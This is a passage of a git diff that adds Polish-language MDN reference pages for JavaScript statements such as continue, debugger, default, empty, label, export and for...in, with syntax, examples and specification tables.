+</p><p>Stała nie może mieć takiej samej nazwy jak funkcja lub zmienna o tym samym zasięgu. +</p> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3> +<h4 id="Przyk.C5.82ad:_Zastosowanie_const" name="Przyk.C5.82ad:_Zastosowanie_const"> Przykład: Zastosowanie <code>const</code> </h4> +<p>Poniższy skrypt wypisuje "<code>a jest równe 7</code>". +</p> +<pre>const a = 7; +document.writeln("a jest równe " + a); +</pre> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/var">var</a></code> +</p><p><br> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/const", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/const", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/const" } ) }} diff --git a/files/pl/web/javascript/referencje/polecenia/continue/index.html b/files/pl/web/javascript/referencje/polecenia/continue/index.html new file mode 100644 index 0000000000..b6c2a05d94 --- /dev/null +++ b/files/pl/web/javascript/referencje/polecenia/continue/index.html @@ -0,0 +1,166 @@ +--- +title: continue +slug: Web/JavaScript/Referencje/Polecenia/continue +tags: + - JavaScript + - instrukcja + - polecenie +translation_of: Web/JavaScript/Reference/Statements/continue +--- +<div>{{jsSidebar("Statements")}}</div> + +<p><strong>Polecenie continue</strong> zatrzymuje wykonanie pętli w obecnej iteracji, w obecnej lub wskazanej pętli i kontynuuje wykonanie pętli w kolejnej jej iteracji.</p> + +<div>{{EmbedInteractiveExample("pages/js/statement-continue.html")}}</div> + + + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox notranslate">continue [etykieta];</pre> + +<dl> + <dt><code>etykieta</code></dt> + <dd>Identyfikator powiązany z etykietą instrukcji.</dd> +</dl> + +<h2 id="Opis">Opis</h2> + +<p>W przeciwieństwie do instrukcji {{jsxref("Statements/break", "break")}}, <code>continue</code> nie zatrzymuje całkowicie wykonania pętli, natomiast:</p> + +<ul> + <li>w pętli {{jsxref("Statements/while", "while")}} powoduje przejście do warunku pętli,</li> +</ul> + +<ul> + <li>w pętli {{jsxref("Statements/for", "for")}}, powoduje przejście do wyrażenia aktualizującego pętlę.</li> +</ul> + +<p>Instrukcja <code>continue</code> może opcjonalnie zawierać etykietę, która pozwala programowi przejść do kolejnej iteracji pętli, której tę etykietę przypisano, zamiast kolejnej iteracji obecnej pętli. W tym przypadku, polecenie <code>continue</code> musi być zawarte wewnątrz instrukcji z etykietą.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Użycie_continue_z_while">Użycie continue z while</h3> + +<p>Poniższy przykład pokazuje pętlę {{jsxref("Statements/while", "while")}}, zawierającą polecenie <code>continue</code>, które jest wykonywane, gdy wartość zmiennej <code>i</code> równa jest 3 – zatem <code>n</code> przyjmuje kolejno wartości 1, 3, 7 i 12.</p> + +<pre class="brush: js notranslate">var i = 0; +var n = 0; + +while (i < 5) { + i++; + + if (i === 3) { + continue; + } + + n += i; +} +</pre> + +<h3 id="Użycie_continue_z_etykietą">Użycie continue z etykietą</h3> + +<p>W poniższym przykładzie, instrukcja z etykietą <code>checkiandj</code> zawiera instrukcję z etykietą <code>checkj</code>. Jeśli zostanie napotkane polecenie <code>continue</code>, wykonanie programu jest kontynuowane od góry instukcji <code>checkj</code>. Za każdym razem, gdy napotkane jest <code>continue</code>, <code>chekckj</code> jest przeiterowywane dopóki jego warunek nie zwróci wartości false. Kiedy zwracane jest false, wykonywana jest pozostała część <code>checkiandj</code>.</p> + +<p>Gdyby <code>continue</code> miało etykietę <code>checkiandj</code>, wówczas program powinien przejść na początek instrukcji <code>checkiandj</code>.</p> + +<p>Zobacz też {{jsxref("Statements/label", "label")}}.</p> + +<pre class="brush: js notranslate">var i = 0; +var j = 8; + +checkiandj: while (i < 4) { + console.log('i: ' + i); + i += 1; + + checkj: while (j > 4) { + console.log('j: ' + j); + j -= 1; + + if ((j % 2) == 0) + continue checkj; + console.log('Liczba' + j + ' jest nieparzysta.'); + } + console.log('i = ' + i); + console.log('j = ' + j); +} +</pre> + +<p>Wyjście:</p> + +<pre class="brush: js notranslate">i: 0 + +// początek checkj +j: 8 +Liczba 7 jest nieparzysta. +j: 7 +j: 6 +Liczba 5 jest nieparzysta. +j: 5 +// koniec checkj + +i = 1 +j = 4 + +i: 1 +i = 2 +j = 4 + +i: 2 +i = 3 +j = 4 + +i: 3 +i = 4 +j = 4 +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Uwagi</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Wstępna definicja. Wersja bez etykiety.</td> + </tr> + <tr> + <td>{{SpecName('ES3')}}</td> + <td>{{Spec2('ES3')}}</td> + <td>Dodano wersję z etykietą.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-12.7', 'Continue statement')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-continue-statement', 'Continue statement')}}</td> + <td>{{Spec2('ES6')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-continue-statement', 'Continue statement')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + + + +<p>{{Compat("javascript.statements.continue")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{jsxref("Statements/break", "break")}}</li> + <li>{{jsxref("Statements/label", "label")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/polecenia/debugger/index.html b/files/pl/web/javascript/referencje/polecenia/debugger/index.html new file mode 100644 index 0000000000..b4fe9548a7 --- /dev/null +++ b/files/pl/web/javascript/referencje/polecenia/debugger/index.html @@ -0,0 +1,126 @@ +--- +title: debugger +slug: Web/JavaScript/Referencje/Polecenia/debugger +translation_of: Web/JavaScript/Reference/Statements/debugger +--- +<div>{{jsSidebar("Statements")}}</div> + +<div>Wyrażenie <strong>debugger </strong>uruchamia dowolną dostępną funkcjonalność umożliwiającą debuggowanie, przykładowo poprzez ustawienie <em>breakpointa</em> w miejscu użycia wyrażenia. Jeżeli żadna tego typu funkcjonalność nie jest dostępna, użycie wyrażenia nie ma wpływu na działanie programu.</div> + +<div> +<h2 id="Składnia">Składnia</h2> +</div> + +<pre class="syntaxbox"><code>debugger;</code></pre> + +<h2 id="Przykłady">Przykłady</h2> + +<p>Poniższy przykład pokazuje użycie wyrażenia <strong>debugger</strong> w celu uruchomienia debuggera w momencie wywołania funkcji (jeżeli jest dostępny).</p> + +<pre class="brush:js">function potentiallyBuggyCode() { + debugger; + // przeprowadź analizę działania programu zawierających bugi, przejdź do kolejnych wywołań, itp. +}</pre> + +<p>Kiedy następuje wywołanie instrukcji debugger, uruchomienie programu zatrzymywane jest na wyrażeniu <strong>debugger</strong>. Działa to tak jak ustawienie <em>breakpointu</em> w kodzie źródłowym skryptu.</p> + +<p><a href="https://mdn.mozillademos.org/files/6963/Screen Shot 2014-02-07 at 9.14.35 AM.png"><img alt="Paused at a debugger statement." src="https://mdn.mozillademos.org/files/6963/Screen%20Shot%202014-02-07%20at%209.14.35%20AM.png" style="height: 371px; width: 700px;"></a></p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-debugger-statement', 'Debugger statement')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-debugger-statement', 'Debugger statement')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-12.15', 'Debugger statement')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>Wstępna definicja</td> + </tr> + <tr> + <td>{{SpecName('ES3', '#sec-7.5.3', 'Debugger statement')}}</td> + <td>{{Spec2('ES3')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES1', '#sec-7.4.3', 'Debugger statement')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Jedynie wspomniane jako zarezerwowane słowo kluczowe</td> + </tr> + </tbody> +</table> + +<h3 id="CompatibilityTable"><br> + {{CompatibilityTable}}</h3> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Cecha</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Podstawowe wsparcia</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Cecha</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Podstawowe wsparcie</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a href="/en-US/docs/Debugging_JavaScript">Debugging JavaScript</a></li> + <li><a href="/en-US/docs/Tools/Debugger">The Debugger in the Firefox Developer Tools</a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/polecenia/default/index.html b/files/pl/web/javascript/referencje/polecenia/default/index.html new file mode 100644 index 0000000000..3e28e480e8 --- /dev/null +++ b/files/pl/web/javascript/referencje/polecenia/default/index.html @@ -0,0 +1,120 @@ +--- +title: default +slug: Web/JavaScript/Referencje/Polecenia/default +tags: + - JavaScript + - słowo kluczowe +translation_of: Web/JavaScript/Reference/Statements/switch +--- +<div>{{jsSidebar("Statements")}}</div> + +<p>Słowo kluczowe <strong>default </strong>może być użyte w języku JavaScript w dwóch sytuacjach: w instrukcji {{jsxref("Statements/switch", "switch")}} lub instrukcji {{jsxref("Statements/export", "export")}}.</p> + +<div>{{EmbedInteractiveExample("pages/js/statement-default.html")}}</div> + + + +<h2 id="Składnia">Składnia</h2> + +<p>W instrukcji {{jsxref("Statements/switch", "switch")}}:</p> + +<pre class="syntaxbox">switch (wyrażenie) { + case wartość1: + //Instrukcje wykonywane kiedy wartość1 zgadza się z wartością wyrażenia + [break;] + default: + //Instrukcje wykonywane kiedy żadna z wartości nie zgadza się z wartością wyrażenia + [break;] +}</pre> + +<p>Z instrukcją {{jsxref("Statements/export", "export")}}:</p> + +<pre class="syntaxbox">export default <em>nazwaN</em> </pre> + +<h2 id="Opis">Opis</h2> + +<p>Po więcej szczegółów zobacz strony instrukcji</p> + +<ul> + <li>{{jsxref("Statements/switch", "switch")}}</li> + <li>i {{jsxref("Statements/export", "export")}}.</li> +</ul> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Użycie_default_w_instrukcji_switch">Użycie <code>default</code> w instrukcji <code>switch</code></h3> + +<p>W poniższym przykładzie, jeśli <code>expr</code> przyjmie wartość "Pomarańcze" lub "Jabłka", program dopasuje tę wartość odpowiednio do przypadków (case) "Pomarańcze" i "Jabłka" oraz wykona odpowiednie instrukcje. Słowo kluczowe <code>default</code> zostanie użyte w każdym innym przypadku i pozwoli na wykonanie odpowiedających mu instrukcji.</p> + +<pre class="brush: js">switch (expr) { + case 'Pomarańcze': + console.log('Pomarańcze kosztują 3.29 zł za kilogram.'); + break; + case 'Jabłka': + console.log('Jabłka kosztują 1.59 zł za kilogram.'); + break; + default: + console.log('Przepraszamy, ' + expr + ' niestety się skończyły.'); +}</pre> + +<h3 id="Użycie_default_z_export">Użycie <code>default</code> z <code>export</code></h3> + +<p>Jeśli chcesz wyeksportować pojednynczą wartość lub potrzebujesz tzw. <em>fallback value</em> dla modułu, może szostać zastosowany domyślny eksport (<code>default export</code>)</p> + +<pre class="brush: js">// module "my-module.js" +let cube = function cube(x) { + return x * x * x; +}; +export default cube;</pre> + +<p>Wtedy, w innym skrypcie, domyślnie wyeksportowana wartość będzie bezpośrednio zaimportowana:</p> + +<pre class="brush: js">// module "another-module.js" +import cube from 'my-module'; //"default export" pozwala na napisanie "import cube", zamiast "import cube from 'my-module'" +console.log(cube(3)); // 27 +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-switch-statement', 'switch statement')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-exports', 'Exports')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-switch-statement', 'switch statement')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-exports', 'Exports')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + + + +<p>{{Compat("javascript.statements.default")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{jsxref("Statements/export", "export")}}</li> + <li>{{jsxref("Statements/switch", "switch")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/polecenia/do...while/index.html b/files/pl/web/javascript/referencje/polecenia/do...while/index.html new file mode 100644 index 0000000000..a57caf17ee --- /dev/null +++ b/files/pl/web/javascript/referencje/polecenia/do...while/index.html @@ -0,0 +1,54 @@ +--- +title: do...while +slug: Web/JavaScript/Referencje/Polecenia/do...while +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/do...while +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Wykonuje zadane polecenia dopóki warunek jest spełniony. Polecenia wykonywane są przynajmniej raz. +</p> +<table class="fullwidth-table"> +<tbody><tr> +<td class="header" colspan="2">Polecenie</td> +</tr> +<tr> +<td>Zaimplementowane w:</td> +<td>JavaScript 1.2, NES 3.0</td> +</tr> +<tr> +<td>Wersja ECMA:</td> +<td>ECMA-262, Edycja 3 +</td> +</tr> +</tbody></table> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">do + <i>polecenia</i> +while (<i>warunek</i>); +</pre> +<h3 id="Parametry" name="Parametry"> Parametry </h3> +<dl><dt> <code>polecenia</code> </dt><dd> Blok poleceń, który jest wykonywany przynajmniej raz. i jest wykonywany ponownie tak długo, jak <code>warunek</code> jest spełniony. +</dd></dl> +<dl><dt> <code>warunek</code> </dt><dd> Obliczany przy każdym przejściu pętli. Jeśli <code>warunek</code> ma wartość <i>prawda</i>, polecenia w bloku go poprzedzającym są wykonywane ponownie. Kiedy <code>warunek</code> osiągnie wartość <i>fałsz</i>, sterowanie przepływa do następnego polecenia po pętli <code>do...while</code> +</dd></dl> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3> +<h4 id="Przyk.C5.82ad:_Zastosowanie_do...while" name="Przyk.C5.82ad:_Zastosowanie_do...while"> Przykład: Zastosowanie <code>do...while</code> </h4> +<p>W poniższym przykładzie pętla <code>do...while</code> wykonywana jest przynajmniej raz, a następnie jej wykonywanie jest powtarzane tak długo, aż <code>i</code> będzie większe lub równe 5. +</p> +<pre>do { + i+=1; + document.write(i); +} while (i<5); +</pre> +<p><br> +</p><p><br> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/do...while", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/do...while", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/do...while", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/do...while" } ) }} diff --git a/files/pl/web/javascript/referencje/polecenia/empty/index.html b/files/pl/web/javascript/referencje/polecenia/empty/index.html new file mode 100644 index 0000000000..4c55c3f4dd --- /dev/null +++ b/files/pl/web/javascript/referencje/polecenia/empty/index.html @@ -0,0 +1,92 @@ +--- +title: empty +slug: Web/JavaScript/Referencje/Polecenia/Empty +tags: + - JavaScript + - funkcja języka + - wyrażenie +translation_of: Web/JavaScript/Reference/Statements/Empty +--- +<div>{{jsSidebar("Statements")}}</div> + +<p><strong>Puste wyrażenie</strong> jest używane do podania braku wyrażenia tam, gdzie składnia JavaScript wymaga jakiejkolwiek instrukcji.</p> + +<div>{{EmbedInteractiveExample("pages/js/statement-empty.html")}}</div> + + + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox notranslate">; +</pre> + +<h2 id="Opis">Opis</h2> + +<p>Puste wyrażenie jest zapisywane jako średnik, wskazujący na to, że żadna instrukcja nie będzie wykonana, nawet jeśli składnia JavaScript wymaga jakiejkolwiek operacji.</p> + +<p>Przeciwna zachowanie, kiedy potrzebne jest użycie kilku wyrażeń tam, gdzie JavaScript pozwala tylko na jedno, jest możliwe dzięki <a href="/en-US/docs/Web/JavaScript/Reference/Statements/block">blokom instrukcji</a>, które łączą kilka wyrażeń w jedno.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Pusta_pętla">Pusta pętla</h3> + +<p>Puste wyrażenie jest czasem używane w pętlach. Poniższy przykład prrzedstawia ciało pustej pętli:</p> + +<pre class="brush: js notranslate">let arr = [1, 2, 3]; + +// Nadaj wszystkim elementom tablicy wartość 0 +for (let i = 0; i < arr.length; arr[i++] = 0) /* puste wyrażenie */ ; + +console.log(arr); +// [0, 0, 0] +</pre> + +<h3 id="Nieumyślne_użycie">Nieumyślne użycie</h3> + +<p>Dobrym pomysłem jest dodanie komentarza do <em>umyślnego</em> użycia pustego wyrażenia, ponieważ nieoczywistym może się okazać rozróżnienie takiej instrukcji od zwykłego średnika.</p> + +<p>W poniższym przykładzie użycie pustego wyrażenia prawdopodobnie nie jest umyślne:</p> + +<pre class="brush: js example-bad notranslate">if (condition); // Uwaga, ten "if" nic nie robi! + killTheUniverse() // To polecenie będzie zawsze wykonane!!! +</pre> + +<p>W kolejnym przykładzie użyta jest instrukcja warunkowa {{jsxref("Statements/if...else", "if...else")}} bez nawiasów klamrowych (<code>{}</code>).</p> + +<p>Jeśli wartość zmiennej <code>trzy</code> jest równa <code>true</code>, nic się nie stanie, zmienna <code>cztery</code> nie ma znaczenia, również funkcja <code>odpalRakietę</code> w przypadku <code>else</code> nie będzie wykonana.</p> + +<pre class="brush: js example-bad notranslate">if (jeden) + wykonajJeden(); +else if (dwa) + wykonajDwa(); +else if (trzy) + ; // puste wyrażenie +else if (cztery) + wykonajCztery(); +else + odpalRakietę();</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-empty-statement', 'Empty statement')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + + + +<p>{{Compat("javascript.statements.empty")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{jsxref("Statements/block", "Block statement")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/polecenia/etykieta/index.html b/files/pl/web/javascript/referencje/polecenia/etykieta/index.html new file mode 100644 index 0000000000..7ff42b3940 --- /dev/null +++ b/files/pl/web/javascript/referencje/polecenia/etykieta/index.html @@ -0,0 +1,51 @@ +--- +title: etykieta +slug: Web/JavaScript/Referencje/Polecenia/etykieta +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/label +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Pozwala na oznaczenie punktu w kodzie, do którego będzie można przejść za pomocą poleceń <code>break</code> lub <code>continue</code>. +</p><p>Przykładowo, można zastosować etykietę do oznaczenia pętli, a następnie użyć poleceń <code>break</code> lub <code>continue</code>, by zaznaczyć, czy program powinien przerwać pętlę czy kontynuować jej wykonywanie. +</p> +<table class="fullwidth-table"> +<tbody><tr> +<td class="header" colspan="2">Polecenie</td> +</tr> +<tr> +<td>Zaimplementowane w:</td> +<td>JavaScript 1.2, NES 3.0</td> +</tr> +<tr> +<td>Wersja ECMA:</td> +<td>ECMA-262, Edycja 3</td> +</tr> +</tbody></table> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval"><i>etykieta</i> : + <i>polecenie</i> +</pre> +<h3 id="Parametry" name="Parametry"> Parametry </h3> +<dl><dt> <code>etykieta</code> </dt><dd> Dowolny identyfikator języka JavaScript, który nie jest słowem zarezerwowanym. +</dd></dl> +<dl><dt> <code>polecenie</code> </dt><dd> Polecenia. Polecenie <code>break</code> może być użyte z dowolnym poleceniem oznaczonym etykietą, a <code>continue</code> można użyć z zapętlonymi poleceniami oznaczonymi etykietami. +</dd></dl> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3> +<p>Przykład użycia etykiety z poleceniem <code>break</code> +znajduje się w rodziale <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/break">break</a></code>. Przykład użycia etykiety z poleceniem <code>continue</code> znajduje się w rozdziale <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/continue">continue</a></code>. +</p> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/break">break</a>, +<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/continue">continue</a></code> +</p><p><br> +</p><p><br> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/label", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/label", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/label", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/label" } ) }} diff --git a/files/pl/web/javascript/referencje/polecenia/export/index.html b/files/pl/web/javascript/referencje/polecenia/export/index.html new file mode 100644 index 0000000000..3b29f1987b --- /dev/null +++ b/files/pl/web/javascript/referencje/polecenia/export/index.html @@ -0,0 +1,47 @@ +--- +title: export +slug: Web/JavaScript/Referencje/Polecenia/export +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/export +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Pozwala podpisanemu skryptowi na dostarczanie własności, funkcji i obiektów do innych podpisanych lub niepodpisanych skryptów. Tej opcji nie ma w 3 edycji ECMA-262. +</p> +<table class="fullwidth-table"> +<tbody><tr> +<td class="header" colspan="2">Instrukcja</td> +</tr> +<tr> +<td>Zaimplementowana w:</td> +<td>JavaScript 1.2, NES 3.0</td> +</tr> +</tbody></table> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<p><code> +export <i>nazwa1</i>, <i>nazwa2</i>, ..., <i>nazwaN</i>; +</code> +</p><p><code> +export *; +</code> +</p> +<h3 id="Parametry" name="Parametry"> Parametry </h3> +<dl><dt> <code><i>nazwaN</i></code> </dt><dd> Własność, funkcja, lub obiekt do wyeksportowania. +</dd></dl> +<h3 id="Opis" name="Opis"> Opis </h3> +<p>Zazwyczaj informacja w podpisanym skrypcie jest dostępna tylko dla skryptów podpisanych przez tych samych wykonawców. Poprzez wyeksportowanie własności, funkcji i obiektów podpisany skrypt udostępnia tę informację dla każdego skryptu (podpisanego lub niepodpisanego). Skrypt otrzymujący używa instrukcji <code>import</code>, by uzyskać dostęp do tej informacji. +</p><p>Pierwsza składnia eksportuje określone własności, funkcje i obiekty. +</p><p>Druga składnia eksportuje wszystkie własności, funkcje i obiekty ze skryptu. +</p> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/import">import</a></code> +</p><p><br> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/export", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/export", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/export" } ) }} diff --git a/files/pl/web/javascript/referencje/polecenia/for...in/index.html b/files/pl/web/javascript/referencje/polecenia/for...in/index.html new file mode 100644 index 0000000000..d8c17d3b3e --- /dev/null +++ b/files/pl/web/javascript/referencje/polecenia/for...in/index.html @@ -0,0 +1,173 @@ +--- +title: for...in +slug: Web/JavaScript/Referencje/Polecenia/for...in +tags: + - JavaScript + - wyrażenie +translation_of: Web/JavaScript/Reference/Statements/for...in +--- +<div>{{jsSidebar("Statements")}}</div> + +<p><strong>Wyrażenie</strong> <strong><code>for...in</code> </strong>iteruje po nazwach wszystkich <a href="/pl/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">wyliczalnych</a> własnościach obiektu, włączając w to odziedziczone wyliczalne właściwości. <strong><code>for...in</code></strong> pomija te właściwości, które są indeksowane <a href="/pl/docs/Web/JavaScript/Referencje/Obiekty/Symbol">Symbol</a>ami.</p> + +<div>{{EmbedInteractiveExample("pages/js/statement-forin.html")}}</div> + + + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox notranslate">for (<em>zmienna</em> in <var>obiekt</var>) + polecenie</pre> + +<dl> + <dt><code>zmienna</code></dt> + <dd>W każdej iteracji, <em>zmiennej</em> przypisywana jest inna nazwa własności.</dd> + <dt><code>obiekt</code></dt> + <dd>Obiekt, po którego niesymbolicznych wyliczalnych własnościach iterujemy.</dd> +</dl> + +<h2 id="Opis">Opis</h2> + +<p><code>for...in</code> iteruje jedynie po wyliczalnych i jednocześnie niesymbolicznych właściwościach. Obiekty utworzone za pomocą wbudowanych konstruktorów (np. <code>Array</code> czy <code>Object</code>) dziedziczą niewyliczalne właściwości z m.in. <code>Object.protoype</code> oraz <code>String.prototype</code>, takie jak metoda {{jsxref("String.indexOf", "indexOf()")}} ze {{jsxref("String")}} albo {{jsxref("Object.toString", "toString()")}} z {{jsxref("Object")}}. Pętla przejdzie przez wszystkie wyliczalne właściwości – zarówno własne, jak i odziedziczone z prototypu konstruktora.</p> + +<h3 id="Usunięte_dodane_lub_zmodyfikowane_własności">Usunięte, dodane lub zmodyfikowane własności</h3> + +<p>Pętla <code>for...in</code> iteruje po właściwościach w arbitralnej kolejności (zobacz więcej w opisie operatora {{jsxref("Operators/delete", "delete")}}, dlaczego nie można liczyć na konkretną kolejność właściwości – szczególnie w różnych przeglądarkach).</p> + +<p>Jeśli właściwość zostanie zmodyfikowana w danej iteracji, a dopiero następnie odwiedzona przez <code>for...in</code>, przyjmuje tę późniejszą wartość. Usunięcie właściwości przed jej odwiedzeniem przez pętlę, spowoduje, że nie wystąpi w żadnej z późniejszych iteracji. Natomiast właściwość dodana do obiektu w trakcie iterowania może (ale nie musi) zostać odwiedzona przez pętlę.</p> + +<p>Ogólnie, w trakcie iterowania z użyciem <code>for...in</code> najlepiej jest nie modyfikować innych właściwości obiektu niż ta, która jest aktualnie odwiedzona. Nie ma żadnej gwarancji, że dodana właściwość zostanie odwiedzona, ani że właściwość usuwana zostanie odwiedzona przed skasowaniem. Podobnie, nie ma gwarancji, czy właściwość zmodyfikowana zostanie odwiedzona przed, czy po modyfikacji.</p> + +<h3 id="Iterowanie_po_tablicy_i_for...in">Iterowanie po tablicy i for...in</h3> + +<div class="note"> +<p><strong>Uwaga:</strong> wyrażenie <code>for...in</code> nie powinno być używane na obiektach klasy{{jsxref("Array")}}, gdzie kolejność elementów jest ważna.</p> +</div> + +<p>Indeksy tablic są niczym innym jak właściwościami obiektu – z tym, że ich nazwy są liczbowe, a nie słowne. Dlatego nie ma gwarancji, że <code>for...in</code> odwiedzi je w jakiejkolwiek konkretnej kolejności. Ponadto, pętla zwróci także nieliczbowe właściwości oraz te odziedziczone.</p> + +<p>Kiedy kolejność odwiedzania elementów ma znaczenie, iterowanie po elementach tablicy powinno odbywać się z użyciem pętli {{jsxref("Statements/for", "for")}} (albo {{jsxref("Array.prototype.forEach()")}} albo pętli {{jsxref("Statements/for...of", "for...of")}}), ze względu na to, że kolejność iterowania po właściwościach jest zależna od implementacji.</p> + +<h3 id="Iterowanie_jedynie_po_własnych_właściwościach">Iterowanie jedynie po własnych właściwościach</h3> + +<p>Jeżeli potrzebujesz iterować tylko po 